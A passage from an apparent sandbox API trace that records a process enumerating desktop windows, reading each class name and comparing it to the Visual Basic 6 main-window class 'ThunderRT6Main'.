lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.993] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.993] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0140.993] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0140.993] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0140.993] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0140.993] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0140.993] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0140.993] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.993] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.993] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0140.993] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0140.993] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0140.993] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0140.993] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0140.993] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0140.993] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.993] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.993] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0140.993] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0140.993] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0140.993] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0140.993] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0140.993] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0140.993] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.993] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.993] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0140.993] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0140.993] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0140.993] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0140.993] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0140.993] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0140.993] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.993] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.994] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0140.994] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0140.994] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0140.994] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0140.994] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0140.994] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0140.994] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.994] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.994] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0140.994] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0140.994] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0140.994] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0140.994] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0140.994] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0140.994] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.994] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.994] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0140.994] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0140.994] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0140.994] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0140.994] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0140.994] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0140.994] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.994] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.994] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0140.994] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0140.994] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0140.994] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0140.994] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0140.994] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0140.994] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.994] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.994] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0140.994] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0140.994] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0140.994] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0140.994] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0140.994] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0140.994] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.994] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.994] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0140.995] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0140.995] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0140.995] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0140.995] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0140.995] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0140.995] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.995] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.995] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0140.995] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0140.995] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0140.995] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0140.995] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0140.995] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0140.995] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.995] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.995] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0140.995] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0140.995] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0140.995] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0140.995] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0140.995] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0140.995] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.995] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.995] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0140.995] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0140.995] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0140.995] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0140.995] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0140.995] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0140.995] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.995] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.995] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0140.995] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0140.995] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0140.995] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0140.995] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0140.995] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0140.995] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.995] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.995] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0140.995] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0140.995] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0140.995] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0140.995] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0140.996] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0140.996] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.996] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.996] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0140.996] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0140.996] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0140.996] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0140.996] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0140.996] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0140.996] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.996] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.996] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0140.996] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0140.996] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0140.996] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0140.996] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0140.996] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0140.996] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.996] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.996] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0140.996] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0140.996] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0140.996] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0140.996] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0140.996] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0140.996] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.996] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.996] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0140.996] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0140.996] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0140.996] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0140.996] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0140.996] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0140.996] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0140.996] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0140.996] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0140.996] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0140.996] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0140.996] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0140.996] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0140.997] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0140.997] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0140.997] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0140.997] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0140.997] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0140.997] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0140.997] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0140.997] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0140.997] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0140.997] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.997] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.997] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0140.997] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0140.997] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0140.997] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0140.997] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0140.997] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0140.997] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.997] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.997] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0140.997] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0140.997] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0140.997] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0140.997] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0140.997] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0140.997] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.997] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.997] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0140.997] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0140.997] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.997] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.997] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0140.997] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0140.997] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.997] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.997] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0140.997] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0140.997] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0140.997] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0140.997] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0140.998] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0140.998] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.998] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.998] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0140.998] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0140.998] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.998] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.998] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0140.998] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0140.998] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.998] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.998] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.998] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0140.998] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0140.998] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0140.998] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.998] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0140.998] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0140.998] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0140.998] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.998] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0140.998] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.998] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.998] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.998] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0140.998] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.998] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.998] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.998] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0140.998] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.998] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.998] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.998] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0140.998] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0140.998] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0140.998] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.998] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0140.998] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0140.998] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0140.998] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.999] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0140.999] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.999] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.999] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0140.999] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0140.999] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.999] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.999] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.999] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0140.999] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.999] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.999] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.999] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0140.999] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.999] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.999] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.999] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0140.999] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0140.999] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0140.999] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.999] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0140.999] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0140.999] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0140.999] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0140.999] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0140.999] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.999] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.999] GetWindowThreadProcessId 